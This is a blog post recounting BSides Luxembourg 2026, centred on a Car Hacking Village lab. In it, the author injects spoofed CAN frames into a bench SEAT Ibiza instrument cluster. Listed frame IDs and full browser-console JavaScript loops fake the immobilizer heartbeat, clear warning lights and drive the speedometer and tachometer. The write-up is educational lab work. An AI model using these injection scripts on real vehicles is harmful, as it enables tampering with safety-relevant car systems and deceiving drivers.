How I Hacked a Car Dashboard from My Browser — BSides Luxembourg 2026

The Event

BSides Luxembourg is a three days community-driven cybersecurity conference. Small, friendly, and most importantly, dense with interesting people and content.

The first day was dedicated to small groups workshops where you actually do things rather than just watch slides. I attended a threat modeling workshop that lasted the entire day. We covered the basics: what threat modeling is, why it matters, the fundamental terminology, and got to practice it hands-on. The exercice allowed us to actually engage with the material, and end up getting to know each other.

The second and third days are conference talks, with a varied programme covering everything while most of it included AI (obviously).

What I liked most about it: the size. This isn’t a massive conference where you feel lost. Everyone is approachable, conversations happen naturally, and the atmosphere is genuinely welcoming.

There were also a few company booths at the event and plenty of swag to go around.

Car Hacking Village

The second workshop was the one I’ll write most about in this post: the Car Hacking Village.

A hands-on challenge where you take a real car instrument cluster, connect it to your laptop, and try to control everything on it from the speedometer to the tachometer, the warning lights, the turn signals, everything..

No car needed. No keys. No prior experience required.


The Setup

The hardware was simple:

  • A SEAT Ibiza instrument cluster (the dashboard) sitting on a bench, powered by a 12V bench power supply
  • A CANable 2.0 USB-to-CAN adapter — a small dongle that bridges your laptop’s USB port to the car’s internal network
  • Chrome with the webusb-can tool which is a browser-based interface that lets you send and receive CAN frames without installing anything

The instructor of the workshop provided us with a very straightforward, easy to follow guide in order to connect all the different components and have the setup ready.


What is CAN Bus?

Before diving into the challenges, here’s some context.

Modern cars have dozens of small computers called ECUs (Electronic Control Units — or calculateurs in French). Each one handles a specific job: engine management, ABS braking, airbags, dashboard display. They all need to talk to each other constantly.

The CAN bus (Controller Area Network) is the shared network that lets them do that. A single pair of wires running through the entire car on which every ECU broadcasts messages simultaneously.

Each message has an ID and up to 8 bytes of data :

ID: 0x280   Data: 49 0E 40 1F 0E 00 1B 0E
↑                  ↑
"this tells us    engine data
that it's about     
engine RPM"

The critical detail is that classic CAN has zero authentication. There are no passwords, no cryptographic signatures, no sender verification. Any device on the bus can send any frame. The dashboard simply believes whoever sends the right ID with the right data.


The Platform — PQ25

The cluster was from a SEAT Ibiza 6J, built on Volkswagen’s PQ25 platform . A platform is a shared architecture used across several models. In this case, PQ25 includes VW Polo 6R, Škoda Fabia, and Audi A1.

This matters because the entire car hacking community has already reverse-engineered the CAN signals for PQ25 cars. Everything is documented and shared. Instead of starting from scratch, we had a cheat sheet.


Challenge 01 — Listen

The first challenge: plug in and just observe.

The cluster was already broadcasting dozens of messages per second on its own even with nothing else connected.

In the WebUSB sniffer view we could see:

0x727  →  stable, repeating          (diagnostic presence)
0x420  →  stable, repeating          (cluster status heartbeat)
0x621  →  stable, repeating          (cluster coding/config)
0x320  →  incrementing counter       (cluster's own ABS output)
0x5D2  →  first byte cycling 00→01→02 (VIN broadcast, 3 frames)
0x520  →  first bytes changing        (internal odometer counter)

Two types of signals immediately visible:

  • Stable (heartbeats): same ID, same data, repeating like a clock. These are ECUs saying “I’m alive.”
  • Changing (measurements): data shifting every frame.

This observation was the map for everything that followed.


Challenge 02 — Spoof the Immobilizer

The immobilizer (antidémarrage) is the car’s anti-theft system. In a real car, a chip inside the key communicates with the immobilizer ECU. If the key is recognised, the ECU broadcasts a heartbeat on the CAN bus every 100ms:

ID: 0x3D0   Data: 00 00 00 00 00 00 00 00

The cluster listens for this signal. No signal = 🔑 orange warning light ON = car locked.

We had no key and no immobilizer ECU. So we injected the frame ourselves:

ID:   3D0
Data: 00 00 00 00 00 00 00 00
Rate: every 100ms

The warning light went off. And that’s why, it is really helpful to know the id fo each ECU.


Challenge 03 — Turn Signals

Turn signals are controlled by ID 0x470. Byte 0 carries the signal state as a bitmask:

00 = all off
01 = left blinker
02 = right blinker
03 = hazards (both)
FF = also hazards

0x470 | FF 00 00 00 00 00 00 00 triggered both indicators (hazards).
01 00 00 00 00 00 00 00 triggered the left indicator only.

Simple to control once you know the byte.


Challenge 04 — Pin the RPM

The tachometer (the needle showing engine revs) is driven by ID 0x280.

The formula is straightforward:

RPM value in frame = desired RPM × 4

Example — 2000 RPM:

2000 × 4 = 8000 = 0x1F40 //base 16 hex convertion
LSB = 0x40,  MSB = 0x1F

Frame: 49 0E 40 1F 0E 00 1B 0E
              ↑  ↑
             LSB MSB (smallest byte first)

Challenge 05 — Fuzzing

Fuzzing means sending random or incremental data on a single ID and watching what happens.

The goal: discover undocumented signals by observation.

Nothing complicated in this part as the provided website has a built in fuzzing feature that’s very easy to use.


Challenge 06 — Speedometer ★

This was the hard one. The speedometer refused to respond no matter what I tried.

What didn’t work:

  • I first tried sending a static speed value in 0x5A0 but it completely ignored.
  • Then after some time of failure, the instructor told me that there are other signals that must be sent with the speed signal. so I tried turning off the ABS warning light, the airbag, moved the RPM needle (even the turn lights x), yea I was pretty desperate at this point) but the speed needle still didn’t move.
  • Also tried random fuzzing but got nothing.

The breakthrough:

The cluster doesn’t read a speed value. It derives speed by measuring how fast an odometer counter increments between frames.

Counter grows fast  →  car moving fast   →  needle moves right
Counter stays still →  car is stopped    →  needle stays at zero

If you send a speed value but the counter doesn’t increment — or increments at the wrong rate — the cluster sees a contradiction and ignores you.

The formula:

speedVal     = kmh × 148   (16-bit, bytes 1–2)
distCounter += round(kmh × 0.05)

Frame: FF [speedLSB] [speedMSB] 00 00 [distLSB] [distMSB] AD

Both values must be sent together, coherently, every 20ms.


Why We Used the Browser Console

The webusb-can platform was great for sending static frames but it had no built-in support for dynamic values like an incrementing counter.

The solution: F12 → browser console.

The webusb-can tool is just a webpage. Opening the developer console puts you inside the same JavaScript environment as the page with full access to every function it defines. We inspected the available functions:

Object.keys(window).filter(k => typeof window[k] === 'function')
// → [..., 'handleSend', 'addSignal', 'startSimulator', 'simAccel', ...]

Found handleSend() which is the exact function the Send button calls. From that point we could script anything:

function send(id, data) {
  document.getElementById('sendId').value = id;
  document.getElementById('sendData').value = data;
  handleSend();
}

And run a precise loop with setInterval:

let fastTick = 0;
let slowCounter = 0;
let distCounter = 0;

const SPEED = 130;

// Pre-calculate speed bytes (never change)
const speedVal = Math.round(SPEED * 148);
const sLSB = (speedVal & 0xFF).toString(16).padStart(2,'0').toUpperCase();
const sMSB = ((speedVal >> 8) & 0xFF).toString(16).padStart(2,'0').toUpperCase();

// Pre-calculate RPM bytes for idle
const RPM = Math.round(800 + (SPEED * 20));
const rpmVal = RPM * 4;
const rLSB = (rpmVal & 0xFF).toString(16).padStart(2,'0').toUpperCase();
const rMSB = ((rpmVal >> 8) & 0xFF).toString(16).padStart(2,'0').toUpperCase();

function send(id, data) {
  document.getElementById('sendId').value = id;
  document.getElementById('sendData').value = data;
  handleSend();
}

window._canLoop = setInterval(() => {
  fastTick++;

  // Increment distance counter
  distCounter = (distCounter + Math.round(SPEED * 0.05)) % 30000;
  const dLSB = (distCounter & 0xFF).toString(16).padStart(2,'0').toUpperCase();
  const dMSB = ((distCounter >> 8) & 0xFF).toString(16).padStart(2,'0').toUpperCase();

  // Fast frames every 20ms
  send('280', `49 0E ${rLSB} ${rMSB} 0E 00 1B 0E`);
  send('5A0', `FF ${sLSB} ${sMSB} 00 00 ${dLSB} ${dMSB} AD`);

  // Slow frames every 100ms
  if (fastTick % 5 === 0) {
    slowCounter = (slowCounter + 1) % 16;
    const c = slowCounter.toString(16).padStart(2,'0').toUpperCase();

    send('050', '00 00 00 00 00 00 00 00');         // Airbag OK
    send('19B', '00 00 00 00 00 00 00 00');         // Doors closed
    send('1A0', '00 00 00 00 00 00 00 00');         // ABS alive
    send('271', '00 01 00 00 00 00 00 00');         // Ignition ON
    send('288', '00 A2 00 00 00 00 00 00');         // Coolant 90°C
    send('3D0', `${c} 00 00 00 00 00 00 00`);      // Immobilizer
    send('470', '00 00 40 00 00 00 00 00');         // Backlight ON
    send('4AC', '00 00 00 00 00 00 00 00');         // ESP OK
    send('588', '00 00 00 00 00 00 00 4B');         // Oil OK
    send('65F', '00 F0 00 00 00 00 00 00');         // Battery OK
  }

}, 20);

Aaand finally the needle moved.


The Smooth Sweep — 0 → 200 → 0 km/h

The sweep works by incrementing speed by 1 km/h every 20ms. Here’s the script used:

let fastTick = 0;
let slowCounter = 0;
let distCounter = 0;
let currentSpeed = 0;
let direction = 1;   // 1 = going up, -1 = going down

const MAX_SPEED = 200;
const STEP = 1;      // km/h per tick — increase for faster sweep

function send(id, data) {
  document.getElementById('sendId').value = id;
  document.getElementById('sendData').value = data;
  handleSend();
}

window._canLoop = setInterval(() => {
  fastTick++;

  // Move speed
  currentSpeed += direction * STEP;

  // Reverse at top
  if (currentSpeed >= MAX_SPEED) {
    currentSpeed = MAX_SPEED;
    direction = -1;
  }

  // Calculate speed bytes (change every tick)
  const speedVal = Math.round(currentSpeed * 148);
  const sLSB = (speedVal & 0xFF).toString(16).padStart(2,'0').toUpperCase();
  const sMSB = ((speedVal >> 8) & 0xFF).toString(16).padStart(2,'0').toUpperCase();

  // Calculate RPM
  const RPM = Math.round(800 + (currentSpeed * 20));
  const rpmVal = RPM * 4;
  const rLSB = (rpmVal & 0xFF).toString(16).padStart(2,'0').toUpperCase();
  const rMSB = ((rpmVal >> 8) & 0xFF).toString(16).padStart(2,'0').toUpperCase();

  // Increment distance counter at matching rate
  distCounter = (distCounter + Math.round(currentSpeed * 0.05)) % 30000;
  const dLSB = (distCounter & 0xFF).toString(16).padStart(2,'0').toUpperCase();
  const dMSB = ((distCounter >> 8) & 0xFF).toString(16).padStart(2,'0').toUpperCase();

  // Fast frames every 20ms
  send('280', `49 0E ${rLSB} ${rMSB} 0E 00 1B 0E`);
  send('5A0', `FF ${sLSB} ${sMSB} 00 00 ${dLSB} ${dMSB} AD`);

  // Slow frames every 100ms
  if (fastTick % 5 === 0) {
    slowCounter = (slowCounter + 1) % 16;
    const c = slowCounter.toString(16).padStart(2,'0').toUpperCase();

    send('050', '00 00 00 00 00 00 00 00');         // Airbag OK
    send('19B', '00 00 00 00 00 00 00 00');         // Doors closed
    send('1A0', '00 00 00 00 00 00 00 00');         // ABS alive
    send('271', '00 01 00 00 00 00 00 00');         // Ignition ON
    send('288', '00 A2 00 00 00 00 00 00');         // Coolant 90°C
    send('3D0', `${c} 00 00 00 00 00 00 00`);      // Immobilizer
    send('470', '00 00 40 00 00 00 00 00');         // Backlight ON
    send('4AC', '00 00 00 00 00 00 00 00');         // ESP OK
    send('588', '00 00 00 00 00 00 00 4B');         // Oil OK
    send('65F', '00 F0 00 00 00 00 00 00');         // Battery OK
  }

}, 20);

I successfully cleared out all of the challenges within 3-4 hours. Using a browser wasn’t the intended solution tho. The intended solution was using Kali Linux. I shared the writeup of another participant below.

All in all, it was a great first experience and it would be very interesting to dig deeper into car hacking so if you got any feedback, resources, advices.. anything, feel free to share it with me.


A Personal Highlight

The personal highlight of the entire event was finally getting to meet Louis Nyffenegger, the founder of PentesterLab which is one of the platforms that genuinely helped me get started in cybersecurity and build real practical skills through its well-structured, hands-on labs.

Getting to meet the person behind something that had a real impact on your learning is one of those moments that makes attending conferences worth it beyond the technical content.

I also came away with some great swag — and most importantly, a copy of his new book.


Resources